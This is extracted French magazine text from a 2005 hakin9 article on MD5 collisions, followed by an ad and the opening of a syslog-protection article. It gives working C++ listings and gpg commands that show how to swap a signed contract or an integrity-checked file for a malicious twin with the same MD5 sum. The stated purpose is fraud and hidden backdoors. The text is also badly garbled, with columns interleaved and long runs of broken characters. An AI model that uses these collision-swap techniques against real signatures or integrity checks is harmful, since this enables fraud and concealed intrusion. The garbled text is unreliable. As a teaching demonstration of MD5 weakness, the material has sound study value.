opérations pour chaque bloc de données. Le bloc d'entrée de 512 bits est divisé en 16
chaînes de données d'une longueur de 32 bits. La plus importante pour chaque tour
est l'une des fonctions suivantes :
•
•
•
•
F(X,Y,Z) = (X AND Y) OR (NOT(X) AND Z),
G(X,Y,Z) = (X AND Z) OR (Y AND NOT(Z)),
H(X,Y,Z) = X XOR Y XOR Z,
I(X,Y,Z) = Y XOR (X OR NOT(Z)).
Chacune d'entre elles charge trois portions de données de 32 bits et les transforme en
une valeur de 32 bits. Dans chaque tour, à l'aide de ces fonctions, de nouvelles variables
d'état temporelles sont calculées (A, B, C et D). Outre les données initiales, pour calculer
la valeur du haché, les données du tableau contenant les parties entières 4294967296
* abs(sin(i)) sont utilisées. Les résultats de chaque phase sont employés dans la
phase suivante après leur ajout à la fin du bloc de données d'entrée, aux valeurs précédentes A, B, C et D représentant l'état.
Après avoir répété les opérations sur tous les blocs d'entrée, nous obtenons le
haché sous forme d'une valeur de 128 bits décrivant l'état.
hakin9 N o 2/2005
www.hakin9.org
nous voulons donc accomplir une
vengeance numérique sanglante.
Nous créons un fichier avec le
programme que nous sommes en
train d'élaborer (appelons cette
archive dataG.fi le). Ensuite, nous
créons encore un fichier (portant le
nom dataD.fi le), mais cette fois-ci,
il contient les données dangereuses, comme un cheval de Troie ou
une porte dérobée. Nous envoyons
le fichier innocent dataG.fi le au département contrôlant les binaires,
qui vérifiera les données et créera
pour lui les sommes de contrôle
et les signatures MD5. Le programme est ensuite placé sur un serveur
FTP. Maintenant, nous pouvons
remplacer le fichier dataG.fi le par
le fichier malicieux dataD.fi le – les
sommes de contrôle MD5 seront
identiques. Même si quelqu'un, un
jour se rend compte du contenu
malicieux du fichier, c'est le département de contrôle de fichiers qui
en sera responsable.
Scénario suivant : nous écrivons
un jeu simple et plaisant ou un petit
programme très utile. Nous mettons
notre œuvre (portant, par exemple, le nom dataG.file) et quelques
d'autres fichiers sur un site Web.
Ensuite, quelqu'un qui téléchargera
notre fichier, décompactera l'archive
et installera les binaires. Vu qu'il est
un utilisateur consciencieux, il crée
les sommes de contrôle de ces fichiers (à l'aide de Tripwire ou tout
autre outil exploitant MD5). Mais si
nous obtenions l'accès à sa machine
(par quelque moyen que ce soit),
nous pourrions remplacer dataG.file
par notre fichier dataD.file. Le système de détection des modifications
n'enregistrera aucun changement
– ces fichiers ont la même somme
de contrôle, et nous avons une porte
dérobée parfaite, dissimulée sur l'ordinateur-victime.
Impossible ? Actuellement, ces
types d'attaques sont heureusement
irréels – les chercheurs chinois,
sous la direction de Wang, n'ont
pas publié jusqu'alors l'algorithme
complet permettant de retrouver la
clé de collision (collision key) pour
un message quelconque. Nous
35
��������
��������
�������������������������������
��������������������������
����������
�
�
�
�
��������������������������������
���������������������������
�
�
�
�
S'attaquer à une
signature électronique
�
��������������
�
����������������
�
������������
��������������
�����������������
�
�
�
�
�
�
��������������
�
����������������
�
������������
���������������
•
•
�
�
�
�
�
��������������
�
����������������
�
�������������
�����������������
�
�
�
�
�
�
��������������
�
����������������
�
������
��������������
�����������������
Attaque
�
�
le fichier exécutable create-package,
le fichier exécutable self-extract,
deux fichiers différents avec
les contrats au format PDF
(contract1.pdf, contract2.pdf).
Les fichiers disponibles dans l'archive hakin9.live peuvent être compilés
à l'aide de Makefile fourni aussi sur
le CD (pour les plates-formes Unix).
Les utilisateurs de la plate-forme
Microsoft Windows peuvent se servir
des binaires tous prêts.
Le fichier exécutable create-package (cf. le Listing 1), à partir des
deux fichiers données (contract1.pdf,
contract2.pdf) crée deux nouveaux
fichiers contenant les informations
additionnelles – chacun d'eux contient les deux fichiers donnés. La
syntaxe de la commande est la
suivante :
�
�
�
�
�
�
�
Figure 1. Schéma du fonctionnement de l'algorithme MD5
36
Comme nous l'avons déjà dit, nous
allons commencer par l'exemple avec deux contrats différents
(l'exemple basé sur le texte d'Ondrej
Mikle de l'Université de Prague).
Nous avons besoin des fichiers suivants (disponibles sur
hakin9.live) :
•
�����������������
�
devons donc limiter nos études à des
exemples très simples. Pourtant,
nous pouvons démontrer comment
mettre en pratique ce savoir et ce
qu'il sera possible si le mécanisme
de génération des blocs en collision
à partir des messages quelconques
est publié. Nos limitations sont dues
au fait que nous ne sommes pas
capables de créer les paires de clés
de collision dans un temps raisonnable. Nous nous servirons alors des
messages tous prêts de 1024 bits,
présentés dans le texte de Wang.
www.hakin9.org
$ ./create-package contract.pdf \
contract1.pdf contract2.pdf
Ce programme stocke les fichiers
contract1.pdf et contract2.pdf dans
les archives appropriées : data1.pak
et data2.pak. Chacune d'elles, utilisée
hakin9 N o 2/2005
Menaces pour MD5
���������������
��������������������
���������������
��������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
��
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
��
�������������������������
������������
������������
�������� :
��������������������������
���������é
����
����
�������� :
�������������������������
���������é
����
����
�������������������
�������������������
������������������������
������������������������
�������������������
������������������������
������������������������
����������������
����������������
������������
���������������
���������
����������������
���������������������
�������� :
�������������������
Figure 2. Distribution des données dans les fichiers data.pak
avec le programme self-extract,
créera le fichier portant le nom
contract.pdf.
La Figure 2 présente la distribution des données dans les fichiers
data1.pak et data2.pak.
Listing 1. Code source du programme create-package
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <stdint.h>
#include <netinet/in.h>
//deux blocs de 1024 bits en collision
#include "collision.h"
#define COLLISION_BLOCK_SIZE (1024/8)
#define TABLE_SIZE (sizeof(FileSizes))
using namespace std;
uint32_t FileSizes[2], FileSizesNetFormat[2];
uint32_t getfilesize(ifstream &infile)
{
uint32_t fsize;
infile.seekg(0, ios::end);
fsize = infile.tellg();
infile.seekg(0, ios::beg);
return fsize;
}
int main(int argc, char *argv[])
{
if (argc < 3)
{
cout << "Usage: create-package outfile infile1 infile2" << endl;
exit(1);
}
hakin9 N o 2/2005
www.hakin9.org
Les blocs dans le message
spécial (special message) désignés
par les couleurs verte et rouge
sont ce que l'on appelle colliding
blocks (blocs en collision) – ils
sont différents dans chaque fichier
(data1.pak et data2.pak). Les messages spéciaux sont des chaînes
binaires ajoutées aux documents
des chercheurs chinois. Les autres
données dans les fichiers data1.pak
et data2.pak sont toujours identiques. Lors du calcul des sommes
de contrôle MD5 de ces fichiers,
les blocs en collision désignés
entraînent que les hachés sont
identiques. Vu que d'autres données sont toujours identiques, au
niveau des résultats, le haché est
toujours identique – indépendamment du contenu supplémentaire
des fichiers .pak.
Dans notre exemple, nous créerons deux répertoires différents
(contract1Dir et contract2Dir). Ensuite, nous mettrons le fichier data1.pak
dans le répertoire contract1Dir, par
contre le fichier data2.pak – dans le
répertoire contract2Dir. L'étape suivante consiste à changer les noms
des deux fichiers en data.pak. Il faut
également copier le fichier self-extract dans les deux répertoires.
Le contenu des répertoires doit
se présenter ainsi :
37
Listing 1. Code source du programme create-package, suite
ifstream infile1(argv[2], ios::binary);
ifstream infile2(argv[3], ios::binary);
ofstream outfile1("data1.pak", ios::binary);
ofstream outfile2("data2.pak", ios::binary);
FileSizes[0] = getfilesize(infile1);
FileSizes[1] = getfilesize(infile2);
//créer les données à stocker dans la mémoire et lire les deux fichiers
uint32_t datasize = FileSizes[0] + FileSizes[1];
char *data = new char [datasize];
infile1.read(data, FileSizes[0]);
infile2.read(data+FileSizes[0], FileSizes[1]);
//enregistrer le nom du fichier dans le paquet
uint8_t fnamelen = strlen(argv[1]);
//convertir le tableau avec les tailles des fichiers
//en format network-endian
FileSizesNetFormat[0] = htonl(FileSizes[0]);
FileSizesNetFormat[1] = htonl(FileSizes[1]);
//créer data1.pak
outfile1.write((char *)collision[0], COLLISION_BLOCK_SIZE);
outfile1.write((char *)&fnamelen, 1);
outfile1.write(argv[1], fnamelen);
outfile1.write((char *)FileSizesNetFormat, TABLE_SIZE);
outfile1.write(data, datasize);
outfile1.close();
//créer data2.pak
outfile2.write((char *)collision[1], COLLISION_BLOCK_SIZE);
outfile2.write((char *)&fnamelen, 1);
outfile2.write(argv[1], fnamelen);
outfile2.write((char *)FileSizesNetFormat, TABLE_SIZE);
outfile2.write(data, datasize);
outfile2.close();
cout
cout
cout
cout
<<
<<
<<
<<
<<
cout <<
"Custom colliding files created." << endl;
"Files are named data1.pak and data2.pak" << endl;
"Put each of them in contr1 and contr2 directory," << endl;
"rename each to data.pak and run self-extract to see result"
endl;
endl << "Press Enter to continue" << endl;
char somebuffer[8];
cin.getline(somebuffer, 8);
}
Attaque
•
•
contractDir1 : self-extract et
data.pak,
contractDir2 : self-extract et
data.pak.
Après le lancement de self-extract
dans chaque répertoire, le programme – à partir de l'un des bits qui se
trouvent dans les blocs en collision
– décide quel fichier de data.pak doit
être décompacté. Ce bit est défini
38
dans le code source de la manière
suivante :
/* Offset du bit en collision */
/* dans le fichier avec les données */
#define MD5_COLLISION_OFFSET 19
/* Masque du bit en collision */
Tout d'abord, décompactons les fichiers avec les données de l'archive
data.pak (Figure 3).
Le programme self-extract (cf. le
Listing 2) commence par ouvrir le fi chier data.pak. Il lit le bit de décision
(decision bit) à partir de la position
définie par MD5 _ COLLISION _ OFFSET
et le masque à l'aide du masque
MD5 _ COLLISION _ BITMASK .
Ensuite,
il lit la longueur du nom du fi chier
à décompresser (dans notre cas :
0x0C -> 12d). Enfi n, il lit le nom du
fi chier (contract.pdf ) et la longueur
du premier et du deuxième fi chier.
Ces informations sont suffisantes
pour calculer la position absolue
des données à décompresser dans
le fi chier data.pak – la décision est
basée sur le bit de décision. Les
données de la position déterminée, sont décompactées dans le
fi chier dont le nom a été défini au
préalable.
Comme cela est présenté sur
la Figure 4, nous commençons par
créer les fichiers data.pak contenant
deux contrats différents (contract1.pdf
et contract2.pdf). L'acheteur obtiendra l'archive data.pak et le fichier
exécutable self-extract. Il décompressera le fichier contract.pdf (à l'origine contract1.pdf) du fichier data.pak
et, après avoir lu le contrat, il signera
les fichiers téléchargés (data.pak
et self-extract) par sa clé.
Quand ces fichiers nous seront
retournés, nous pouvons remplacer
les fichiers data.pak (ce seront en
fait contract1.pdf et contract2.pdf).
Vu que l'acheteur l'a signé par sa
clé et que nous disposons du contrat
signé pour un montant très élevé
(100 000 euros), nous pouvons devenir méchants.
Dans l'exemple pratique, nous
utiliserons gpg pour Linux (GnuPG
1.2.2) et nos fichiers (contract1.pdf,
contract2.pdf, self-extract). Comme
vous vous rappelez, nous avons
envoyé à l'acheteur les fichiers créés
(data.pak et self-extract), alors il a
reçu les binaires suivants :
#define MD5_COLLISION_BITMASK 0x80
Le mode d'emploi de ces fichiers sera expliqué dans la suite de l'article.
www.hakin9.org
$ ls -l
-rw-r--r-users
1 test
3266
hakin9 N o 2/2005
Menaces pour MD5
–-digest-algo md5 \
-ab -s self-extract
����������������������������
En résultats, il obtient dans son répertoire les fichiers suivants :
��������������������������
��������������������
$ ls -l
-rw-r--r--
�������������������
���������������������
users
1 test
3266
2004-12-01 00:59
data.pak
����������������������������������
����������������������
-rw-r-----
1 test
users
����������������������������
����������������������������
392
2004-12-29 14:59
data.pak.asc
-rwxr-x---
�������������������������������
�������������������������������
users
1 test
6408
2004-12-18 19:00
�������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
�����������������������������������
��
��
������������
������������
����
����
����
������������������
������������������
������������������������
������������������������
������������������
������������������
����
Figure 3. Décompression de l'un des fichiers de l'archive data.pak
Maintenant, il signe les fichiers
data.pak et self-extract par sa clé.
Il le fait au moyen des commandes
suivantes :
data.pak
-rwxr-x--users
1 test
6408
2004-12-18 19:00
$ gpg -u USERID \
Après avoir décompacté et lu le
contrat, l'acheteur crée une clé gpg
(testforhakin9) :
Il peut choisir parmi les options suivantes :
•
•
•
5 (RSA, signature seule),
1024 – longueur minimale de la
clé,
1 (valide pour une journée),
vrai nom (rene heinzl),
adresse e-mail
•
commentaire (Used
([email protected]),
for
hakin9
demonstration of reduced appli-
hakin9 N o 2/2005
2004-12-29 15:01
self-extract.asc
Comme vous voyez, la victime a
créé des signatures séparées pour
chaque fichier. Ensuite, elle nous les
enverra signés. C'est le bon moment
pour attaquer :
$ gpg -v --verify \
data.pak.asc data.pak
Le résultat sera le suivant :
–-digest-algo md5 \
-ab -s data.pak
$ gpg -u USERID \
Version: GnuPG v1.2.2
(GNU/Linux)
gpg: Signature made
Wed 29 Dec 2004
Listing 2. Code source du programme self-extract
$ gpg –-gen-key
cability of MD5).
392
gpg: armor header:
self-extract
•
•
1 test
users
������������������������
������������������������
������������������������
2004-12-01 00:59
self-extract
-rw-r-----
#include
#include
#include
#include
#include
#include
<cstdio>
<cstdlib>
<iostream>
<fstream>
<stdint.h>
<netinet/in.h>
using namespace std;
#define
#define
#define
#define
MD5_COLLISION_OFFSET 19
MD5_COLLISION_BITMASK 0x80
SUBHEADER_START (1024/8)
TABLE_SIZE (sizeof(FileSizes))
uint32_t FileSizes[2];
uint32_t FilePos[2];
www.hakin9.org
39
Listing 2. Code source du programme self-extract, suite
"rene heinzl (Used for hakin9
demonstration of
"reduced applicability of MD5")
uint8_t colliding_byte, fnamelen;
<[email protected]>"
//trouver et lire l'octet dans lequel une collision MD5 a lieu
packedfile.seekg(MD5_COLLISION_OFFSET, ios::beg);
packedfile.read((char *)&colliding_byte, 1);
//charger le nom du fichier
packedfile.seekg(SUBHEADER_START, ios::beg);
packedfile.read((char *)&fnamelen, 1);
char *filename = new char[fnamelen+1];
packedfile.read(filename, fnamelen);
filename[fnamelen] = 0; //terminate string
//charger le tableau de fichiers
packedfile.read((char *)FileSizes, TABLE_SIZE);
//convertir les tableaux du format réseau en format hôte
//il fonctionnera sur les plates-formes little-endian et big-endian
for (int i=0; i<2; i++) FileSizes[i] = ntohl(FileSizes[i]);
//mise à jour de la position des fichiers dans l'archive
FilePos[0] = SUBHEADER_START + 1 + fnamelen + TABLE_SIZE;
FilePos[1] = FilePos[0] + FileSizes[0];
unsigned int fileindex = (colliding_byte & MD5_COLLISION_BITMASK) ? 1 : 0;
//lire et décompresser le fichier
uint32_t extrsize = FileSizes[fileindex];
uint32_t extrpos = FilePos[fileindex];
char *extractbuf = new char[extrsize];
packedfile.seekg(extrpos, ios::beg);
packedfile.read(extractbuf, extrsize);
packedfile.close();
ofstream outfile(filename, ios::binary);
outfile.write(extractbuf, extrsize);
outfile.close();
cout << "File " << filename << " extracted. Press Enter to continue."
<< endl;
char somebuffer[8];
cin.getline(somebuffer, 8);
return(0);
}
Attaque
using RSA key ID 4621CB9C
gpg: Good signature from
"rene heinzl (Used for hakin9
<[email protected]>"
gpg: binary signature,
digest algorithm MD5
Si nous remplaçons le fichier reçu
data.pak (contract1.pdf) par notre
40
version data.pak (contract2.pdf)
et que nous essayerons de comparer
les données, le résultat sera identique au précédent :
demonstration of
"reduced applicability of MD5")
using RSA key ID 4621CB9C
gpg: Good signature from
int main(int argc, char *argv[])
{
ifstream packedfile("data.pak", ios::binary);
02:59:46 PM CET
02:59:46 PM CET
$ gpg -v --verify \
data.pak.asc data.pak
gpg: armor header:
Version: GnuPG v1.2.2
(GNU/Linux)
gpg: Signature made
Wed 29 Dec 2004
www.hakin9.org
gpg: binary signature,
digest algorithm MD5
Nous pouvons maintenant décompresser le fichier contract.pdf
(contract2.pdf) de l'archive data.pak
– il s'avère qu'il est tout à fait différent de celui qui a été signé par
l'acheteur. Le défaut de la méthode
présentée, est la nécessité d'utiliser
deux fichiers. De plus, la victime
doit signer les deux fichiers et pas
le contrat en question. Mais cela ne
diminue pas le danger que cette méthode peut présenter.
Dans la branche de Gestion des
droits numériques (Digital Rights
Management, DRM), on utilise
toujours une des fonctions de hachage, même si celle-ci ne sert pas
directement à obtenir le condensé
de message des fichiers. Les producteurs commerciaux utilisent
d'habitude trois algorithmes les plus
importants – RSA, DSA et ElGamal
(ce sont des méthodes de chiffrage
asymétrique). Ces techniques étant
assez lentes, dans le monde du
DRM, on utilise plutôt les sommes
hachées, et pas les fichiers en tant
que tels. De ce fait, l'utilisation de
cette méthode pour des abus (la
préparation des signatures pour les
fichiers, indépendamment de leur
taille) – en prenant en considération
la grande efficacité de MD5 – est
possible.
La technologie mentionnée est
utilisée par Microsoft Authenticode,
par exemple dans le navigateur Internet Explorer. Sa tâche consiste
à limiter le contenu exécutable des
sites Web aux binaires signés électroniquement. Étant donné que la
technique de Microsoft se sert (ou
au moins permet de l'utiliser) de
MD5, l'application de la méthode
d'attaque décrite pour remplacer un
contenu innocent par un malicieux,
serait vraiment trivial.
hakin9 N o 2/2005
Menaces pour MD5
���������������������������������
������������������������������
��������������
��������������������
���������
��������������
��������������
��������������������
���
�
���
��������
��������������
������������������
���������
��������������
$ ./make-data-packages
���������
��������
���������
��������������
���
�
���������
���
��������
��������������
���������
��������
��������������
��������������
�������������������
���������
Figure 4. Attaque sur la signature électronique
S'attaquer à l'intégrité
des données
Comme nous avons pu le voir, au
moyen d'une collision, nous pouvons
créer deux contrats différents et, sans
aucun risque, passer l'un d'eux à la
victime. Analysons maintenant l'attaque sur MD5 pour compromettre les
systèmes réseau, servant à publier
des programmes protégés par hachés
MD5 et ceux protégés par les outils
qui vérifient l'intégrité des fichiers.
L'un de ces types d'outils est Tripwire,
créant les sommes de contrôle de
tous les fichiers importants et détectant leurs modifications (cf. l'article Tripwire – détecteur d'intrusions, hakin9
3/2004). Pour comprendre mieux la
question, nous n'analyserons qu'une
attaque sur un système protégé par un
outil de type Tripwire, mais l'adaptation
de ce scénario à la compromission
hakin9 N o 2/2005
bien que le contenu des archives
soit tout à fait différent.
Analysons les détails. Pour les
besoins de la simulation, nous
avons préparé deux outils simples (runprog, make-data-packages).
D'abord, à l'aide de make-datapackages (cf. Listing 3), nous créerons nos deux archives différentes
(dataG.file est le raccourci de dataGeneral-file, et dataD.file provient
de data-Dangerous-file) :
des fichiers sur un serveur Web ou
FTP, est banale.
Comment effectuer la simulation de l'attaque ? Nous utiliserons
un fichier exécutable et, comme
auparavant, deux archives différentes data.pak (dataG.fi le, dataD.fi le)
– le contenu de ces fichiers n'est
que des données provenant des
documents des chercheurs chinois,
alors leurs sommes de contrôle
MD5 seront identiques. Ensuite,
nous mettrons le fichier exécutable
et le fichier dataG.fi le innocent sur
un serveur. Si l'utilisateur télécharge et décompresse ces fichiers,
tout aura un aspect normal. Mais
si nous étions capables d'accéder
à son ordinateur et de remplacer
dataG.fi le par le fichier dataD.fi le, le
programme Tripwire ne détecterait
aucune différence – les sommes de
contrôle MD5 seraient identiques,
www.hakin9.org
Si nous ne définissons pas les noms
des fichiers, le programme utilisera par défaut les noms dataG.file
et dataD.file. Le fichier data.G.file, avec
le programme runprog (cf. le Listing 4),
sera mis sur le serveur Web pour
télécharger. Si quelqu'un télécharge
ces deux fichiers, tout aura l'air normal.
N'oubliez pas que le code
utilisé dans cet exemple, après
désassemblage, aura l'air suspect
– son fonctionnement malicieux sera
indubitable et facile à détecter ; nous
pouvons imaginer les conséquences de nos actions, si nous étions
démasqués. Mais cet article n'a pas
pour but de décrire les portes dérobées dans le système (cf. les numéros précédents de hakin9), mais de
présenter les résultats des failles
trouvées dans l'algorithme MD5.
Voici le contenu du répertoire utilisateur après le téléchargement des
fichiers du serveur :
$ ls -la
-rw-r-----
1 test
users
128
2004-12-29 14:05
dataG.file
-rwxr-x---
1 test
users
11888
2004-12-29 14:04
runprog
Et voici l'effet de l'exécution du
programme runprog sur le fichier
dataG.file :
$./runprog dataG.file
way one
41
Listing 3. Code source du programme make-data-packages
#include <iostream>
#include <fstream>
//deux blocs de 1024 bits en collision, le fichier créé par Ondrej Mikle
#include "collision.h"
dataD.file
a4c0d35c95a63a80§
5915367dcfe6b751
56fa8b2c22ab43f0§
c9c937b0911329b6
using namespace std;
int main(int argc, char *argv[])
{
string filename1("dataG.file"), filename2("dataD.file");
if (argc < 3)
{
cout << "Using default names for data files" << endl;
cout << "filename1: " << filename1 << endl;
cout << "filename2: " << filename2 << endl;
}
else
{
filename1 = argv[1];
filename2 = argv[2];
cout << "Creating the files with the following filenames:" << endl;
cout << "filename1: " << filename1 << endl;
cout << "filename2: " << filename2 << endl;
runprog
En fait, les fichiers sont différents :
$ diff -q dataD.file dataG.file
Files dataD.file
and dataG.file differ
Et maintenant, remplaçons dataG.file
par le fichier dataD.file :
$ mv dataD.file dataG.file
Vérifions les sommes MD5 :
}
$ for i in `ls`; \
ofstream outfile1(filename1.c_str(), ios::binary);
ofstream outfile2(filename2.c_str(), ios::binary);
a4c0d35c95a63a80§
//create file with filename1
outfile1.write((char *)collision[0], COLLISION_BLOCK_SIZE);
outfile1.close();
56fa8b2c22ab43f0§
do md5sum $i; done
5915367dcfe6b751
//create file with filename2
outfile2.write((char *)collision[1], COLLISION_BLOCK_SIZE);
outfile2.close();
}
dataG.file
c9c937b0911329b6
runprog
et lançons runprog :
$ ./runprog dataG.file
here the program is
currently okay.. no
malicious routines
will be started
(il ne faut pas oublier de changer
son nom).
Voici le contenu du répertoire
et les sommes MD5 des fichiers
après le remplacement des fichiers :
Les sommes MD5 :
$ ls -l
$ for i in `ls`; \
do md5sum $i; done
a4c0d35c95a63a80§
Attaque
5915367dcfe6b751
dataG.file
#define COLLISION_BLOCK_SIZE (1024/8)
5915367dcfe6b751
dataG.file
56fa8b2c22ab43f0§
c9c937b0911329b6
runprog
Maintenant, si nous accédions au
système de l'utilisateur, nous pourrions remplacer le fi chier dataG.fi le
par le fi chier malicieux dataD.fi le
42
do md5sum $i; done
a4c0d35c95a63a80§
-rw-r-----
1 test
users
128
2004-12-29 14:09
dataD.file
-rw-r-----
1 test
users
128
2004-12-29 14:09
dataG.file
-rwxr-x--users
1 test
11888
2004-12-29 14:04
runprog
$ for i in `ls`; \
www.hakin9.org
way two
here the program
is in the bad branch..
malicious routines
will be started
Les sommes MD5 n'ont pas changé,
alors la vérification de l'intégrité (par
exemple à l'aide de l'outil Tripwire) ne
permettra pas de détecter les modifications – notre programme est donc
capable de faire des choses vraiment vilaines. Il peut, par exemple,
ouvrir l'un des ports et envoyer via
celui-ci, la clé privée de l'utilisateur
ou le fichier passwd vers un autre
ordinateur. Si nous avions accès
à l'algorithme complet de calcul des
paires de collisions MD5, tous les
fragments du code pourraient être
placés dans un seul fichier. Toute
hakin9 N o 2/2005
Listing 4. Code source du fichier runprog
#include <iostream>
#include <fstream>
#include <stdint.h>
using namespace std;
/* Offset de l'octet en collision dans le fichier avec les données*/
#define MD5_COLLISION_OFFSET 19
/* Masque du bit en collision*/
#define MD5_COLLISION_BITMASK 0x80
int main(int argc, char *argv[])
{
if (argc < 2)
{
cout << "Please specifiy the used filename .. " << endl;
return(-1);
}
ifstream packedfile(argv[1], ios::binary);
uint8_t colliding_byte;
//retrouver et lire l'octet dans lequel la collision MD5 a lieu
packedfile.seekg(MD5_COLLISION_OFFSET, ios::beg);
packedfile.read((char *)&colliding_byte, 1);
}
if ( colliding_byte & MD5_COLLISION_BITMASK)
{
cout << "way one " << endl;
cout << "here the program is currently okay..
no malicious routines will be started " << endl;
}
else
{
cout << "way two " << endl;
cout << "here the program is in the bad branch..
malicious routines will be started " << endl;
}
return(0);
la procédure d'attaque serait alors
beaucoup moins suspecte que la
méthode utilisant deux fichiers.
Attaque
Attaque brute force
44
Les attaques de type force brute
sur les algorithmes de hachage
(MD5, SHA-1 et autres) consistent
à retrouver toutes les combinaisons des paires de données d'entrée, pour obtenir le condensé de
message identique. En général,
l'algorithme de hachage est considéré comme sûr, s'il n'existe pas
d'autres moyens pour récupérer les
données d'entrée ayant la valeur de
haché exigée, que les attaques par
brute force.
L'attaque brute force sur MD5 est
extrêmement inefficace. Pour obtenir deux messages ayant la même
valeur de haché, il faut effectuer
2^64 (=1.844674407e+19) d'opérations de hachage. Un ordinateur
moyen disponible actuellement sur
le marché pourrait le faire en... un
demi-siècle, il est donc difficile de
juger ce scénario réaliste. Mais les
documents dernièrement publiés démontrent que par le biais d'une mathématique avancée, il est possible
de réduire ce nombre à environ 2^42
(=4.398046511e+12) d'opérations de
hachage. Cette réduction des opérations nécessaires, diminue la durée
de calcul à un jour.
La création d'un message
ayant un haché donné exige 2^128
(=3.402823669e+38) d'opérations
et n'est pas réalisable même dans
des milliards d'années. Jusqu'à présent, aucun moyen de réduire ce
temps, n'est connu – les techniques
d'exploitation des failles dans MD5
ne concernent donc pas ces types
d'attaques sur l'algorithme MD5.
Se fier signifie
contrôler
Les dernières découvertes confirment la thèse qu'aucun algorithme
de protection des données n'est
digne d'une confiance aveugle – son
infaillibilité doit toujours être vérifiée.
Heureusement, à présent, MD5 peut
toujours être considéré comme sûr.
Les exemples de collisions publiés
ne sont pas trop dangereux, mais
démontrent les faiblesses de cet algorithme. Mais il ne faut pas oublier
que dans le passé, de pareilles
découvertes ont amené à dévoiler
des failles de sécurité très graves.
Dans plusieurs applications, il faut
pendre en considération la migration
vers d'autres fonctions de hachage
(par exemple SHA-1) – les faiblesses présentées facilitent les abus
et ébranlent la confiance envers
MD5. Et dans le monde numérique,
où la garantie de la sécurité des
données est presque nulle, c'est la
confiance qui est cruciale. n
Sur le réseau
•
•
•
•
http://cryptography.hyperlink.cz/2004/collisions.html – le site d'Ondrej Mikle sur les
collisions,
http://www.gnupg.org/ – Gnu Privacy Guard,
http://www.faqs.org/rfcs/rfc1321.html – Ronald L. Rivest, MD5 RFC,
http://eprint.iacr.org/2004/199 – les collisions des fonctions de hachage MD4,
MD5, HAVAL-128 et RIPEMD.
www.hakin9.org
hakin9 N o 2/2005
h9.DiskShredder
LE PROGRAMME CONÇU POUR L’EFFACEMENT SÛR DES DONNÉES DES DISQUES DURS
Dans la société moderne, l’information devient de plus en plus importante.
L’interception des données peut avoir des conséquences financières, sociales
ou politiques très graves.
LES DONNÉES EFFACÉES D’UNE FAÇON TRADITIONNELLE PEUVENT ÊTRE
FACILEMENT RÉCUPÉRÉES PAR DES PERSONNES NON-AUTORISÉES !
Le programme h9.DiskShredder efface les données des disques durs de façon
à ce qu’il soit impossible de les récupérer, même par les spécialistes.
h9.DiskShredder a été conçu en collaboration avec le laboratoire
hakin9.lab qui s’occupe des problèmes liés à la sécurité.
Informations et commandes www.hakin9.org, [email protected]
SYSLOG Kernel Tunnel
– protection des journaux
système
Michał Piotrowski
Si l'intrus prend le contrôle
des journaux système, nous
ne sommes pas capables de
reconstituer ses actions. Les
solutions utilisées à jusqu'à
présent n'assurent pas un niveau
de sécurité satisfaisante.
Défense
T
46
ous les systèmes d'exploitation professionnels sont dotés de mécanismes permettant d'enregistrer les événements
qui ont lieu autant dans le système en tant que
tel que dans les applications spécifiques. Ces
informations, appelées journaux, sont le plus
souvent enregistrées dans un fichier journal
ou envoyées à un serveur dédié collectant les
messages de l'environnement entier.
Dans les systèmes de production (surtout
ceux qui offrent aux utilisateurs les services
Web), le journal d'événements est l'une des
ressources critiques – il contient les informations sur les actions effectuées par les utilisateurs et sur les erreurs qui se sont produites
dans le système (cf. l'Encadré Comment c'est
fait dans Linux). De plus, un journal correctement tenu permet non seulement l'identification
des erreurs dans la configuration des programmes, mais dans le cas d'une attaque, il devient
l'enregistrement des actions de l'intrus et peut
être utilisé comme pièce à conviction.
En pratique, chaque attaque réussie est
liée à une suppression ou modification des
journaux par l'intrus. Évidemment, il est possible d'envoyer les journaux à un autre système,
mais au moins deux désavantages y sont liés :
www.hakin9.org
•
l'intrus sera capable d'arrêter l'enregistrement en désactivant l'application gérant les
journaux ou en modifiant sa configuration
de façon à ce que les messages ne soient
pas distribués hors le système local,
le pirate expérimenté et assidu, pour effacer
les traces de ses actions, peut s'attaquer au
serveur de journaux.
•
L'envoi des journaux à l'imprimante n'est pas
non plus une bonne idée – il est vrai que l'intrus
ne les supprimera pas, mais il peut toujours arrêter cette opération. L'unique solution efficace
est d'effectuer l'enregistrement des événements
Cet article explique...
•
•
comment, à l'aide des modules du noyau, protéger le journal d'événements système,
comment, en toute sécurité, actualiser la bibliothèque système glibc.
Ce qu'il faut savoir...
•
•
au moins les notions de base de la programmation en C,
écrire de simples modules du noyau.
hakin9 N o 2/2005
á
Protection des journaux systeme
Comment c'est fait dans Linux
Dans Linux, le mécanisme enregistrant les événements est system logger. Son
cœur est le programme gérant le registre qui lit les informations provenant du noyau
du système et des programmes fonctionnant dans l'espace utilisateur. Ensuite, conformément à la configuration, il les divise en différentes catégories, enregistre dans
les fichiers appropriés, transfère aux autres programmes pour le traitement ultérieur
ou envoie à un système distant. Le programme le plus ancien et le plus populaire
de ce type est sysklogd, remplacé de plus en plus souvent par les programmes
syslog-ng ou metalog.
Le second élément très important de system logger est ce jeu de trois fonctions : openlog(), syslog() et closelog() appartenant à une bibliothèque de
programmation standard (le plus souvent glibc). Ces fonctions fournissent aux
utilitaires les mécanismes permettant l'accès et l'enregistrement des événements
dans le journal système.
Comment cela se passe en pratique ? Le programme qui veut utiliser system
logger, après avoir commencé le travail, s'y connecte en appelant la fonction
openlog() avec les paramètres de connexion déterminés à l'aide des arguments
(par exemple le nom du programme qui apparaîtra dans les journaux en tant que
sources des informations, la priorité et le type de messages). Chaque fois que le
programme veut écrire dans le journal système, il exécute la fonction syslog().
À la fin, quand le programme termine son fonctionnement, il peut fermer la connexion
à l'aide de la fonction closelog().
Hélas, ce mécanisme a quelques défauts. Le plus grave est qu'au moment où
l'intrus dispose des droits d'administrateur, il sera capable de désactiver l'enregistrement des événements, et modifier les fichiers du journal, à moins qu'ils soient
stockés localement. C'est un problème très grave dans les systèmes de production,
et surtout dans les honeypots dans lesquels l'enregistrement des actions de l'intrus
est prépondérant.
